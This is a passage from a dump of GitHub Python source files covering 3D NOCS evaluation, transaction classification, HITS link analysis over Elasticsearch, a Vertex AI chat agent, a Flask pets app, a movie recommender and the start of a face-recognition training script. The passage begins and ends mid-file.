#print(self.nox00_gt)\n #print(self.nox00_pred)\n\n def get_model_info(self, idx):\n return [self.meta_info[i] for i in self.model_map[idx]]\n \n def get_camera_pose(self, idx):\n ''' returns camera poses for all frames of model at idx '''\n data_inds = self.model_map[idx]\n poses = [self.get_camera_pose_data(data_idx) for data_idx in data_inds]\n return poses\n\n def get_camera_pose_data(self, idx):\n ''' returns tuple (position, quaternion) for single data idx '''\n if idx < self.cam_pos.shape[0]:\n return (self.cam_pos[idx], self.cam_rot[idx])\n else:\n return None\n\n def get_nox00_pred(self, idx):\n data_inds = self.model_map[idx]\n nox00_pred_list = [self.get_nox00_pred_data(i) for i in data_inds]\n return np.stack(nox00_pred_list, axis=0)\n \n def get_nox00_pred_data(self, idx):\n if idx >= len(self.nox00_pred):\n return None\n out_nocs_map = read_nocs_map(self.nox00_pred[idx])\n if self.pred_filter is not None:\n out_nocs_map = filter_nocs_map(out_nocs_map, self.pred_filter)\n return out_nocs_map\n\n def get_nox01_pred(self, idx):\n data_inds = self.model_map[idx]\n nox01_pred_list = [self.get_nox01_pred_data(i) for i in data_inds]\n return np.stack(nox01_pred_list, axis=0)\n\n def get_nox01_pred_data(self, idx):\n if idx >= len(self.nox01_pred):\n return None\n out_nocs_map = read_nocs_map(self.nox01_pred[idx])\n if self.pred_filter is not None:\n out_nocs_map = filter_nocs_map(out_nocs_map, self.pred_filter)\n return out_nocs_map\n\n def get_nox00_gt(self, idx):\n data_inds = self.model_map[idx]\n nox00_gt_list = [self.get_nox00_gt_data(i) for i in data_inds]\n return np.stack(nox00_gt_list, axis=0)\n\n def get_nox00_gt_data(self, idx):\n if idx >= len(self.nox00_gt):\n return None\n return read_nocs_map(self.nox00_gt[idx])\n\n def get_nox01_gt(self, idx):\n data_inds = self.model_map[idx]\n nox01_gt_list = [self.get_nox01_gt_data(i) for i in data_inds]\n return np.stack(nox01_gt_list, axis=0)\n\n def get_nox01_gt_data(self, idx):\n if idx >= len(self.nox01_gt):\n return None\n return read_nocs_map(self.nox01_gt[idx])\n\n def get_pc_pred(self, idx, layer=None, nocs_maps=None):\n ''' \n Returns predicted point clouds for the model at idx.\n Can optionally pass in the predicted nocs maps which will be used\n to build the point clouds (for improved efficiency). \n '''\n if nocs_maps is not None:\n frame_inds = range(nocs_maps.shape[0])\n pc_pred_list = [self.get_pc_pred_data(-1, layer, nocs_map=nocs_maps[i]) for i in frame_inds]\n else:\n data_inds = self.model_map[idx]\n pc_pred_list = [self.get_pc_pred_data(i, layer) for i in data_inds]\n return pc_pred_list\n \n def get_pc_pred_data(self, idx, layer=None, nocs_map=None):\n if nocs_map is not None:\n return nocs2pc([nocs_map])\n\n nocs_map_list = []\n if layer == None or layer == 0:\n in_nocs_map = read_nocs_map(self.nox00_pred[idx])\n if self.pred_filter is not None:\n in_nocs_map = filter_nocs_map(in_nocs_map, self.pred_filter)\n nocs_map_list.append(in_nocs_map)\n if layer == None or layer == 1:\n in_nocs_map = read_nocs_map(self.nox01_pred[idx])\n if self.pred_filter is not None:\n in_nocs_map = filter_nocs_map(in_nocs_map, self.pred_filter)\n nocs_map_list.append(in_nocs_map)\n return nocs2pc(nocs_map_list)\n\n def get_pc_gt(self, idx, layer=None):\n data_inds = self.model_map[idx]\n pc_gt_list = [self.get_pc_gt_data(i, layer) for i in data_inds]\n return pc_gt_list\n\n def get_pc_gt_data(self, idx, layer=None):\n nocs_map_list = []\n nocs_map0 = read_nocs_map(self.nox00_gt[idx])\n if layer == None or layer == 0:\n nocs_map_list.append(nocs_map0)\n nocs_map1 = read_nocs_map(self.nox01_gt[idx])\n if layer == None or layer == 1:\n nocs_map_list.append(nocs_map1)\n return nocs2pc(nocs_map_list)\n\nclass NOCSMultiResults(object):\n ''' Structure to hold results from multi-view NOCS model '''\n def __init__(self, root):\n self.root = root\n \n\nif __name__=='__main__':\n evaluation = Evaluation(sys.argv[1:])\n evaluation.run()\n","repo_name":"drsrinathsridhar/xnocs","sub_path":"noxray/eval/Evaluation.py","file_name":"Evaluation.py","file_ext":"py","file_size_in_byte":11407,"program_lang":"python","lang":"en","doc_type":"code","stars":36,"dataset":"github-code","pt":"78"}
+{"seq_id":"41944179506","text":"#!/usr/bin/env python\n# coding: utf-8\n\n# In[67]:\n\n\nimport sys\nimport numpy as np\nfrom sklearn.feature_extraction.text import HashingVectorizer\nfrom sklearn.linear_model import LogisticRegression\nfrom sklearn.tree import DecisionTreeClassifier \nfrom sklearn.preprocessing import LabelEncoder, OneHotEncoder, OrdinalEncoder\nfrom sklearn.compose import ColumnTransformer\n\nlableencoder_X_1 = OrdinalEncoder(handle_unknown='use_encoded_value',unknown_value=-1)\nlableencoder_X_2 = OrdinalEncoder(handle_unknown='use_encoded_value',unknown_value=-1)\ndef train():\n transformer=HashingVectorizer(stop_words='english')\n Y=[]\n f=open(r'C:\\Users\\Instructor\\Desktop\\PFM-project\\PFM_project\\transactions.csv')\n f2=open(r'C:\\Users\\Instructor\\Desktop\\PFM-project\\PFM_project\\train_labels.csv')\n text=f.readlines()[1:1304]\n prva=[]\n druga=[]\n treca=[]\n\n pom1=[]\n pom2=[]\n labels=f2.readlines()[1:]\n i=0\n pom3=[]\n ind=[]\n for lines in text:\n i+=1\n array=lines.split(\",\")\n prva.append(array[1])\n if len(array)==9:\n treca.append(array[5])\n druga.append(float(array[4]))\n else:\n druga.append(float(array[4][1:len(array[4])])*1000+float(array[5][0:len(array[5])-1])) \n treca.append(array[6])\n \n \n i=0 \n y_test=[]\n for lines in labels:\n Y.append(int(lines.split(\",\")[1]))\n \n ct = ColumnTransformer([('ohe', OneHotEncoder(), [1])], remainder='passthrough') \n X=np.empty([len(prva),3],dtype=object) \n X[:,0]=prva\n X[:,1]=treca\n X[:,2]=druga\n X[:, 1] = lableencoder_X_2.fit_transform(X[:, 1].reshape(-1, 1)).reshape(len(text))\n X[:, 0] = lableencoder_X_1.fit_transform(X[:, 0].reshape(-1, 1)).reshape(len(text))\n #print(X)\n clf = DecisionTreeClassifier()\n model=clf.fit(X,Y)\n \n f.close()\n f2.close()\n return model\n# In[68]:\ndef test():\n f=open(r'C:\\Users\\Instructor\\Desktop\\PFM-project\\PFM_project\\transactions.csv')\n text=f.readlines()[1:]\n prva=[]\n druga=[]\n treca=[]\n ind=[]\n for lines in text:\n array=lines.split(\",\")\n ind.append(array[0])\n prva.append(array[1])\n if len(array)==9:\n treca.append(array[5])\n druga.append(float(array[4]))\n else:\n druga.append(float(array[4][1:len(array[4])])*1000+float(array[5][0:len(array[5])-1])) \n treca.append(array[6])\n X_test=np.empty([len(prva),3],dtype=object)\n X_test[:,0]=prva\n X_test[:,1]=treca \n X_test[:,2]=druga\n X_test[:,0] = lableencoder_X_1.transform(X_test[:,0].reshape(-1,1)).reshape(len(text))\n X_test[:,1] = lableencoder_X_2.transform(X_test[:,1].reshape(-1,1)).reshape(len(text))\n\n test_label=train().predict(X_test)\n sum=0\n ml_file=open(r'C:\\Users\\Instructor\\Desktop\\PFM-project\\PFM_project\\ml.txt','w')\n\n for i in range(len(test_label)):\n print(test_label[i])\n ml_file.write(ind[i]+\":\"+str(test_label[i])+\"\\n\")\n \ntrain() \ntest()\n\n","repo_name":"pepa99/PFM_project","sub_path":"Categorize Transactions.py","file_name":"Categorize Transactions.py","file_ext":"py","file_size_in_byte":2923,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"}
+{"seq_id":"27425840559","text":"\n# coding: utf-8\n\n# In[1]:\n\n\nfrom elasticsearch import Elasticsearch\nimport math\nfrom elasticsearch_dsl import Search\n\n\n# In[165]:\n\n\nimport math\nimport numpy\n\n\n# In[215]:\n\n\nfrom collections import defaultdict\n\n\n# In[3]:\n\n\nes = Elasticsearch()\ns = Search(using=es, index=\"nuclear_disasters\", doc_type='document')\ns = s.source([])\ndocID = set(h.meta.id for h in s.scan())\n\n\n# In[227]:\n\n\nlen(docID)\n\n\n# In[229]:\n\n\npage = es.search(\n index = 'nuclear_disasters',\n doc_type = 'document',\n size = 1598,\n body = {\n \"query\": {\n \"match\": {\n \"text\": \"MAJOR NUCLEAR ACCIDENTS\"\n }\n }\n })\n\n\n# In[230]:\n\n\ntemp_url={}\nroot_set=set()\nbase_set=set()\ncount=0\nfor p in page['hits']['hits']:\n \n inlinks=set(p.get('_source').get(\"in_links\"))\n outlinks=set(p.get('_source').get(\"out_links\"))\n if len(outlinks)!=0 and len(inlinks)!=0:\n root_set.add(p.get('_id'))\n if len(base_set)<10000:\n base_set.add(p.get('_id'))\n for i in outlinks:\n if i in docID:\n if len(base_set)<=10000:\n base_set.add(i)\n \n\n\n# In[7]:\n\n\nd=200\niteration=0\nfirst=True\nroot_set=set()\nbase_set=set()\n\nwhile len(base_set)<=10000:\n #getting the outlinks\n if first:\n for p in page['hits']['hits']:\n root_set.add(p.get('_source').get(\"docno\"))\n base_set.add(p.get('_source').get(\"docno\"))\n outlinks=set(p.get('_source').get(\"out_links\"))\n for i in outlinks:\n if i in docID:\n if len(base_set)<=10000:\n base_set.add(i)\n \n temp_set=set()\n for p in page['hits']['hits']:\n inlinks=set(p.get('_source').get(\"in_links\"))\n for i in inlinks:\n if i in docID:\n temp_set.add(i)\n if len(temp_set)<200:\n if len(base_set)<=10000:\n base_set=set(list(temp_set)+list(base_set))\n root_set=set(list(temp_set)+list(root_set))\n else:\n if len(base_set)<=10000:\n base_set=set(list(random.sample(temp_set, 200))+list(base_set))\n root_set=set(list(random.sample(temp_set, 200))+list(root_set))\n \n else:\n iteration=iteration+1\n temp_set=set()\n outlinks=set()\n inlinks=set()\n for doc in base_set:\n page=es.get(\n index = 'nuclear_disasters',\n doc_type = 'document',\n id=doc,\n ignore=[404,400]\n )\n outlinks=set(list(outlinks)+list(page.get('_source').get(\"out_links\")))\n inlinks=set(list(inlinks)+list(page.get('_source').get(\"out_links\")))\n\n for i in outlinks:\n if i in docID:\n base_set.add(i)\n\n for i in inlinks:\n if i in docID:\n temp_set.add(i)\n\n # base_set=set(list(temp_set)+list(base_set))\n # root_set=set(list(temp_set)+list(root_set))\n\n if len(temp_set)<200:\n base_set=set(list(temp_set)+list(base_set))\n root_set=set(list(temp_set)+list(root_set))\n else:\n base_set=set(list(random.sample(temp_set, 200))+list(base_set))\n root_set=set(list(random.sample(temp_set, 200))+list(root_set))\n print(\"iteration:\"+str(iteration))\n print(str(len(base_set)))\n print(str(len(root_set)))\n\n\n# In[233]:\n\n\npage_hub={}\npage_auth={}\ninlink_count=0\noutlink_count=0\ninlinks_url={}\noutlinks_url={}\nboth_count=0\nfor doc in base_set:\n page=es.get(\n index = 'nuclear_disasters',\n doc_type = 'document',\n id=doc,\n ignore=[404,400]\n )\n inlinks_x=page['_source']['in_links']\n outlinks_x=page['_source']['out_links']\n if len(inlinks_x)==0:\n inlink_count+=1\n \n if len(outlinks_x)==0:\n outlink_count+=1\n \n if len(inlinks_x)==0 and len(outlinks_x)==0:\n both_count+=1\n \n for inlink in inlinks_x:\n try:\n inlinks_url[doc].append(inlink)\n page_hub[inlink]=1\n page_auth[inlink]=1\n except:\n inlinks_url[doc]=[inlink]\n page_hub[inlink]=1\n page_auth[inlink]=1\n \n for outlink in outlinks_x:\n try:\n outlinks_url[doc].append(outlink)\n page_hub[outlink]=1\n page_auth[outlink]=1\n except:\n outlinks_url[doc]=[outlink]\n page_hub[outlink]=1\n page_auth[outlink]=1\n \n \n\n\n\n\n# In[113]:\n\n\noutlink_count\n\n\n# In[115]:\n\n\nlen(inlinks_url.keys())\n\n\n# In[116]:\n\n\nlen(outlinks_url.keys())\n\n\n# In[121]:\n\n\nlen(page_auth.keys())\n\n\n# In[232]:\n\n\npage_hub= defaultdict(lambda:1.0)\npage_auth= defaultdict(lambda:1.0)\nfor url in docID:\n page_hub[url]=1\n page_auth[url]=1\n\n\n# In[235]:\n\n\ninitial_hubperplex=0\ninitial_authperplex=0\nhubconvergence=0\nauthconvergence=0\niteration=0\n\nwhile hubconvergence < 4 and authconvergence < 4:\n new_auth = defaultdict(lambda:0)\n new_hub = defaultdict(lambda:0)\n total_hubentropy=0\n total_authentropy=0\n \n norm=0\n \n for url in root_set:\n try:\n for in_link in inlinks_url[url]:\n new_auth[url]=new_auth[url]+ page_hub[in_link]\n \n except:\n continue\n\n norm+=pow(new_auth[url],2)\n norm=math.sqrt(norm)\n for url,auth in new_auth.items():\n new_auth[url]=auth/norm\n try:\n total_authentropy=total_authentropy+ math.log(new_auth[url])\n except:\n total_authentropy=total_authentropy+ numpy.nextafter(0,1)\n \n norm=0\n \n \n for url in base_set:\n if url in outlinks_url:\n for out_link in outlinks_url[url]:\n try:\n new_hub[url]=new_hub[url]+ new_auth[out_link]\n \n except:\n continue\n norm=norm + pow(new_hub[url],2)\n norm=math.sqrt(norm)\n \n for url, hub in new_hub.items():\n new_hub[url] = hub/norm\n\n \n try:\n total_hubentropy=total_hubentropy+math.log(new_hub[url],2)\n except:\n total_hubentropy=total_hubentropy+numpy.nextafter(0,1)\n \n page_auth, page_hub=new_auth, new_hub\n \n new_authperplex=pow(2,total_authentropy)\n new_hubperplex=pow(2,total_hubentropy)\n \n iteration+=1\n print(\"iteration: \"+str(iteration))\n \n if(abs(new_hubperplex-initial_hubperplex)<1):\n hubconvergence+=1\n else:\n hubconvergence=0\n \n if(abs(new_authperplex-initial_authperplex)<1):\n authconvergence+=1\n else:\n authconvergence=0\n \n \n initial_hubperplex=new_hubperplex\n initial_authperplex=new_authperplex\n \n\n\n# In[239]:\n\n\nrank = 1\nsorted_list = sorted(page_hub, key=lambda x: page_hub[x],reverse=True)\n\nfw = open(\"C:/Users/Nikhar/Downloads/Assignment/InformationRetrievalCS6200/HW4/output/page_hub.txt\" , \"a\")\nfor j in sorted_list:\n \n fw.write(str(rank)+\":\"+j+\" \"+str(page_hub[j])+\"\\n\")\n rank = rank + 1\n if(rank==501):\n break\nfw.close()\n\n\n# In[241]:\n\n\nrank = 1\nsorted_list = sorted(page_auth, key=lambda x: page_auth[x],reverse=True)\n\nfw = open(\"C:/Users/Nikhar/Downloads/Assignment/InformationRetrievalCS6200/HW4/output/page_authority.txt\" , \"a\")\nfor j in sorted_list:\n \n fw.write(str(rank)+\":\"+j+\" \"+str(page_auth[j])+\"\\n\")\n rank = rank + 1\n if(rank==501):\n break\nfw.close()\n\n\n# In[240]:\n\n\nfw.close()\n\n","repo_name":"NikharGaurav/Implementation-of-web-crawling-and-retrieval-assessment","sub_path":"HW4_HitsCrawl.py","file_name":"HW4_HitsCrawl.py","file_ext":"py","file_size_in_byte":7536,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"78"}
+{"seq_id":"5463835961","text":"from concurrent.futures import ThreadPoolExecutor\nimport asyncio\nimport logging\nfrom typing import Optional, Tuple\nfrom langchain import ConversationChain\nfrom vocode.streaming.agent.base_agent import RespondAgent\nfrom vocode.streaming.models.agent import ChatVertexAIAgentConfig\nfrom langchain.chat_models import ChatVertexAI\nfrom langchain.prompts import (\n ChatPromptTemplate,\n MessagesPlaceholder,\n HumanMessagePromptTemplate,\n)\n\nfrom langchain.schema import HumanMessage, SystemMessage, AIMessage\nfrom langchain.memory import ConversationBufferMemory\n\n\nclass ChatVertexAIAgent(RespondAgent[ChatVertexAIAgentConfig]):\n def __init__(\n self,\n agent_config: ChatVertexAIAgentConfig,\n logger: Optional[logging.Logger] = None,\n ):\n super().__init__(agent_config=agent_config, logger=logger)\n\n self.prompt = ChatPromptTemplate.from_messages(\n [\n MessagesPlaceholder(variable_name=\"history\"),\n HumanMessagePromptTemplate.from_template(\"{input}\"),\n ]\n )\n\n self.llm = ChatVertexAI()\n\n self.memory = ConversationBufferMemory(return_messages=True)\n self.memory.chat_memory.messages.append(\n SystemMessage(content=self.agent_config.prompt_preamble)\n )\n\n self.conversation = ConversationChain(\n memory=self.memory, prompt=self.prompt, llm=self.llm\n )\n if agent_config.initial_message:\n raise NotImplementedError(\"initial_message not supported for Vertex AI\")\n self.thread_pool_executor = ThreadPoolExecutor(max_workers=1)\n\n async def respond(\n self,\n human_input,\n conversation_id: str,\n is_interrupt: bool = False,\n ) -> Tuple[str, bool]:\n # Vertex AI doesn't allow async, so we run in a separate thread\n text = await asyncio.get_event_loop().run_in_executor(\n self.thread_pool_executor,\n lambda input: self.conversation.predict(input=input),\n human_input,\n )\n\n self.logger.debug(f\"LLM response: {text}\")\n return text, False\n","repo_name":"vocodedev/vocode-python","sub_path":"vocode/streaming/agent/vertex_ai_agent.py","file_name":"vertex_ai_agent.py","file_ext":"py","file_size_in_byte":2117,"program_lang":"python","lang":"en","doc_type":"code","stars":1836,"dataset":"github-code","pt":"78"}
+{"seq_id":"4517020460","text":"def drome(lst):\n is_des = True\n is_asc = True\n is_unique = True\n is_same = True\n unique_lst = []\n for i in range(len(lst)-1):\n if lst[i] < lst[i+1]:\n is_des = False\n if lst[i] > lst[i+1]:\n is_asc = False\n if lst[i] in unique_lst:\n is_unique = False\n if lst[i] != lst[i+1]:\n is_same = False\n unique_lst.append(lst[i])\n if lst[len(lst)-1] in unique_lst:\n is_unique = False\n\n # do in this order to prevent bug (can also change condition to fix this but i'm too lazy)\n if is_same:\n return \"Repdrome\"\n elif is_asc and is_unique:\n return \"Metadrome\"\n elif is_asc and not is_unique:\n return \"Plaindrome\"\n elif is_des and is_unique:\n return \"Katadrome\"\n elif is_des and not is_unique:\n return \"Nialpdrome\"\n else:\n return \"Nondrome\"\n\ndef test():\n test_lst = [(\"1357\",\"Metadrome\"), (\"12344\",\"Plaindrome\"), (\"7531\",\"Katadrome\"), (\"9874441\",\"Nialpdrome\"), (\"666\",\"Repdrome\"), (\"1985\",\"Nondrome\")]\n for item in test_lst:\n res = drome(list(item[0]))\n if res != item[1]:\n print(f\"Case {item[0]} failed: {res} != {item[1]}\")\n else:\n print(f\"Case {item[0]} success\")\n\nif __name__ == '__main__':\n in_lst = list(map(int, input(\"Enter Input : \")))\n print(drome(in_lst))\n #test()","repo_name":"ApexTone/DataStructAlgo-Grader-KMITL","sub_path":"Week9/somethingDrome.py","file_name":"somethingDrome.py","file_ext":"py","file_size_in_byte":1386,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"78"}
+{"seq_id":"71593006972","text":"from flask import Flask, redirect, render_template, request, session\nfrom mysql_connection import connectToMySQL\nimport datetime\n\napp = Flask(__name__)\nsecret_key = 'keep this secret'\n\n@app.route('/')\ndef pets():\n mysql = connectToMySQL('candr_pets')\n print(mysql)\n pets = mysql.query_db('select id, name, created_at, updated_at, type FROM pets')\n return render_template('index.html', all_pets=pets)\n\n\n@app.route('/add-pet', methods=['POST'])\ndef add_pet():\n\n add_pet = \"INSERT INTO pets(name, type, created_at, updated_at) VALUES(%(name)s, %(type)s, now(), now());\"\n data = {\n 'name': request.form['name'],\n 'type': request.form['type'],\n }\n db = connectToMySQL('candr_pets')\n\n db.query_db(add_pet, data)\n return redirect('/')\n\n\nif __name__ == '__main__':\n app.run(debug=True)","repo_name":"anani92/pets_with_flask","sub_path":"pets.py","file_name":"pets.py","file_ext":"py","file_size_in_byte":794,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"}
+{"seq_id":"15926510197","text":"from surprise import Dataset\nimport pandas as pd\nfrom surprise.reader import Reader\nfrom surprise.prediction_algorithms.knns import KNNWithMeans\nfrom collections import defaultdict\nfrom surprise.model_selection import train_test_split, KFold, cross_validate\nfrom surprise import get_dataset_dir\nimport io\nimport numpy as np\nfrom numpy.random import default_rng\n\n\ndef get_top_n(predictions, n=10):\n \"\"\"Return the top-N recommendation for each user from a set of predictions.\n\n Args:\n predictions(list of Prediction objects): The list of predictions, as\n returned by the test method of an algorithm.\n n(int): The number of recommendation to output for each user. Default\n is 10.\n\n Returns:\n A dict where keys are user (raw) ids and values are lists of tuples:\n [(raw item id, rating estimation), ...] of size n.\n \"\"\"\n\n # First map the predictions to each user.\n top_n = defaultdict(list)\n for uid, iid, true_r, est, _ in predictions:\n top_n[uid].append((iid, est))\n\n # Then sort the predictions for each user and retrieve the k highest ones.\n for uid, user_ratings in top_n.items():\n user_ratings.sort(key=lambda x: x[1], reverse=True)\n top_n[uid] = user_ratings[:n]\n\n return top_n\n\ndef read_item_names():\n \"\"\"Read the u.item file from MovieLens 100-k dataset and return two\n mappings to convert raw ids into movie names and movie names into raw ids.\n \"\"\"\n\n file_name = get_dataset_dir() + '/ml-100k/ml-100k/u.item'\n rid_to_name = {}\n name_to_rid = {}\n with io.open(file_name, 'r', encoding='ISO-8859-1') as f:\n for line in f:\n line = line.split('|')\n rid_to_name[line[0]] = line[1]\n name_to_rid[line[1]] = line[0]\n\n return rid_to_name, name_to_rid\n\n# Pobranie zbioru danych MovieLens-100k\n# format: user item rating timestamp\ndata = Dataset.load_builtin('ml-100k')\n\n# # Definicja własnego (~randomowego) wektora ocen filmów (50 el.)\n# # - oceny brane z rozkładu jednostajnego (gaussowski byłby bardziej odpowiedni)\n# rng = default_rng(123)\n# ratings_dict = {'itemID': np.repeat(np.arange(1, 6), 10),\n# 'userID': np.tile(np.arange(1, 11), 5),\n# 'rating': np.concatenate([rng.integers(low=1, high=5, size=10, endpoint=True) for x in range(5)]).ravel()}\n# df = pd.DataFrame(ratings_dict)\n# df = df.sample(frac=1)\n#\n# reader = Reader(rating_scale=(1, 5))\n# data = Dataset.load_from_df(df[['userID', 'itemID', 'rating']], reader)\n\n# System rekomendacyjny oparty o metodę ważonych k-najbliższych sąsiadów\ntrainset, testset = train_test_split(data)\nalgo = KNNWithMeans()\npredictions = algo.fit(trainset).test(testset)\n\n# # Wersja alternatywna z walidacją krzyżową\n# # (1)\n# algo = KNNWithMeans()\n# kf = KFold(n_splits=5)\n# for trainset, testset in kf.split(data):\n# predictions = algo.fit(trainset).test(testset)\n#\n# # (2)\n# algo = KNNWithMeans()\n# cross_validate(algo, data, measures=['RMSE', 'MAE'], cv=5, verbose=True)\n#\n# # Wersja alternatywna z treningiem na podstawie pełnego zbiory i\n# # testowaniem z wykorzystaniem antyzbioru\n# # (danych, które nie pojawiły się podczas uczenia)\n# algo = KNNWithMeans()\n# trainset = data.build_full_trainset()\n# algo.fit(trainset)\n#\n# testset = trainset.build_anti_testset()\n# predictions = algo.test(testset)\n\n# 10 najwyższych rekomendacji dla każdego użytkownika\ntop_n = get_top_n(predictions, n=10)\n\nrid_to_name, name_to_rid = read_item_names()\nfor uid, user_ratings in top_n.items():\n # print(uid, [iid for (iid, _) in user_ratings])\n print(uid, [rid_to_name[iid] for (iid, _) in user_ratings])\n\n","repo_name":"jbartolewska/metody-statystyczne","sub_path":"lab7.py","file_name":"lab7.py","file_ext":"py","file_size_in_byte":3656,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"}
+{"seq_id":"7832103826","text":"#-*-coding:utf-8-*-\n\nfrom __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\n\nimport pdb\nimport os\nimport sys\nimport math\nimport random\nimport logging\nimport pickle\nimport numpy as np\nfrom image_iter import FaceImageIter\nfrom image_iter import FaceImageIterList\nimport mxnet as mx\nfrom mxnet import ndarray as nd\nimport argparse\nimport mxnet.optimizer as optimizer\nsys.path.append(os.path.join(os.path.dirname(__file__), 'common'))\nimport face_image\nsys.path.append(os.path.join(os.path.dirname(__file__), 'eval'))\nsys.path.append(os.path.join(os.path.dirname(__file__), 'symbols'))\nimport fresnet\nimport finception_resnet_v2\nimport fmobilenet \nimport fmobilenetv2\nimport fmobilefacenet\nimport fxception\nimport fdensenet\nimport fdpn\nimport fnasnet\nimport spherenet\nimport verification\nimport sklearn\n#sys.path.append(os.path.join(os.path.dirname(__file__), 'losses'))\n#import center_loss\n\nLog = \"./log.txt\"\n\nlogger = logging.getLogger()\nlogger.setLevel(logging.INFO)\n# 添加写日志类\nclass Logger(object):\n def __init__(self, fileN=\"Default.log\"):\n self.terminal = sys.stdout\n self.log = open(fileN, \"a\")\n\n def write(self, message):\n self.terminal.write(message)\n self.log.write(message)\n\n def flush(self):\n pass\nsys.stdout = Logger(Log) # 保存日志文件\n\nargs = None\n\n\nclass AccMetric(mx.metric.EvalMetric):\n def __init__(self):\n self.axis = 1\n super(AccMetric, self).__init__(\n 'acc', axis=self.axis,\n output_names=None, label_names=None)\n self.losses = []\n self.count = 0\n\n def update(self, labels, preds):\n self.count+=1\n preds = [preds[1]] #use softmax output\n for label, pred_label in zip(labels, preds):\n if pred_label.shape != label.shape:\n pred_label = mx.ndarray.argmax(pred_label, axis=self.axis)\n pred_label = pred_label.asnumpy().astype('int32').flatten()\n label = label.asnumpy()\n if label.ndim==2:\n label = label[:,0]\n label = label.astype('int32').flatten()\n assert label.shape==pred_label.shape\n self.sum_metric += (pred_label.flat == label.flat).sum()\n self.num_inst += len(pred_label.flat)\n\nclass LossValueMetric(mx.metric.EvalMetric):\n def __init__(self):\n self.axis = 1\n super(LossValueMetric, self).__init__(\n 'lossvalue', axis=self.axis,\n output_names=None, label_names=None)\n self.losses = []\n\n def update(self, labels, preds):\n loss = preds[-1].asnumpy()[0]\n self.sum_metric += loss\n self.num_inst += 1.0\n gt_label = preds[-2].asnumpy()\n #print(gt_label)\n\ndef parse_args():\n parser = argparse.ArgumentParser(description='Train face network')\n # general\n parser.add_argument('--data-dir', default='', help='training set directory')\n parser.add_argument('--prefix', default='', help='directory to save model.')\n parser.add_argument('--pretrained', default='', help='pretrained model to load')\n parser.add_argument('--ckpt', type=int, default=1, help='checkpoint saving option. 0: discard saving. 1: save when necessary. 2: always save')\n parser.add_argument('--loss-type', type=int, default=4, help='loss type')\n parser.add_argument('--verbose', type=int, default=2000, help='do verification testing and model saving every verbose batches')\n parser.add_argument('--max-steps', type=int, default=0, help='max training batches')\n parser.add_argument('--end-epoch', type=int, default=100000, help='training epoch size.')\n parser.add_argument('--network', default='r50', help='specify network')\n parser.add_argument('--version-se', type=int, default=0, help='whether to use se in network')\n parser.add_argument('--version-input', type=int, default=1, help='network input config')\n parser.add_argument('--version-output', type=str, default='E', help='network embedding output config')\n parser.add_argument('--version-unit', type=int, default=3, help='resnet unit config')\n parser.add_argument('--version-act', type=str, default='prelu', help='network activation config')\n parser.add_argument('--use-deformable', type=int, default=0, help='use deformable cnn in network')\n parser.add_argument('--lr', type=float, default=0.1, help='start learning rate')\n parser.add_argument('--lr-steps', type=str, default='', help='steps of lr changing')\n parser.add_argument('--wd', type=float, default=0.0005, help='weight decay')\n parser.add_argument('--fc7-wd-mult', type=float, default=1.0, help='weight decay mult for fc7')\n parser.add_argument('--fc7-lr-mult', type=float, default=1.0, help='lr mult for fc7')\n parser.add_argument('--bn-mom', type=float, default=0.9, help='bn mom')\n parser.add_argument('--mom', type=float, default=0.9, help='momentum')\n parser.add_argument('--emb-size', type=int, default=512, help='embedding length')\n parser.add_argument('--per-batch-size', type=int, default=128, help='batch size in each context')\n parser.add_argument('--margin-m', type=float, default=0.5, help='margin for loss')\n parser.add_argument('--margin-s', type=float, default=64.0, help='scale for feature')\n parser.add_argument('--margin-a', type=float, default=1.0, help='')\n parser.add_argument('--margin-b', type=float, default=0.0, help='')\n parser.add_argument('--easy-margin', type=int, default=0, help='')\n parser.add_argument('--margin', type=int, default=4, help='margin for sphere')\n parser.add_argument('--beta', type=float, default=1000., help='param for sphere')\n parser.add_argument('--beta-min', type=float, default=5., help='param for sphere')\n parser.add_argument('--beta-freeze', type=int, default=0, help='param for sphere')\n parser.add_argument('--gamma', type=float, default=0.12, help='param for sphere')\n parser.add_argument('--power', type=float, default=1.0, help='param for sphere')\n parser.add_argument('--scale', type=float, default=0.9993, help='param for sphere')\n parser.add_argument('--rand-mirror', type=int, default=1, help='if do random mirror in training')\n parser.add_argument('--cutoff', type=int, default=0, help='cut off aug')\n parser.add_argument('--target', type=str, default='lfw,cfp_fp,agedb_30', help='verification targets')\n args = parser.parse_args()\n return args\n\n\ndef get_symbol(args, arg_params, aux_params):\n data_shape = (args.image_channel,args.image_h,args.image_w) #(3L,112L,112L)\n # image_shape = \",\".join([str(x) for x in data_shape]) #3,112,112\n\n # margin_symbols = []\n print('***network: ',args.network) #r100\n\n if args.network[0]=='d': #densenet\n embedding = fdensenet.get_symbol(args.emb_size, args.num_layers,\n version_se=args.version_se, version_input=args.version_input, \n version_output=args.version_output, version_unit=args.version_unit)\n elif args.network[0]=='m': #mobilenet\n print('init mobilenet', args.num_layers)\n if args.num_layers==1:\n embedding = fmobilenet.get_symbol(args.emb_size, \n version_se=args.version_se, version_input=args.version_input, \n version_output=args.version_output, version_unit=args.version_unit)\n else:\n embedding = fmobilenetv2.get_symbol(args.emb_size)\n elif args.network[0]=='i': #inception-resnet-v2\n print('init inception-resnet-v2', args.num_layers)\n embedding = finception_resnet_v2.get_symbol(args.emb_size,\n version_se=args.version_se, version_input=args.version_input, \n version_output=args.version_output, version_unit=args.version_unit)\n elif args.network[0]=='x':\n print('init xception', args.num_layers)\n embedding = fxception.get_symbol(args.emb_size,\n version_se=args.version_se, version_input=args.version_input, \n version_output=args.version_output, version_unit=args.version_unit)\n elif args.network[0]=='p':\n print('init dpn', args.num_layers)\n embedding = fdpn.get_symbol(args.emb_size, args.num_layers,\n version_se=args.version_se, version_input=args.version_input, \n version_output=args.version_output, version_unit=args.version_unit)\n elif args.network[0]=='n':\n print('init nasnet', args.num_layers)\n embedding = fnasnet.get_symbol(args.emb_size)\n elif args.network[0]=='s':\n print('init spherenet', args.num_layers)\n embedding = spherenet.get_symbol(args.emb_size, args.num_layers)\n elif args.network[0]=='y':\n print('init mobilefacenet', args.num_layers)\n embedding = fmobilefacenet.get_symbol(args.emb_size, bn_mom = args.bn_mom, version_output=args.version_output)\n else: 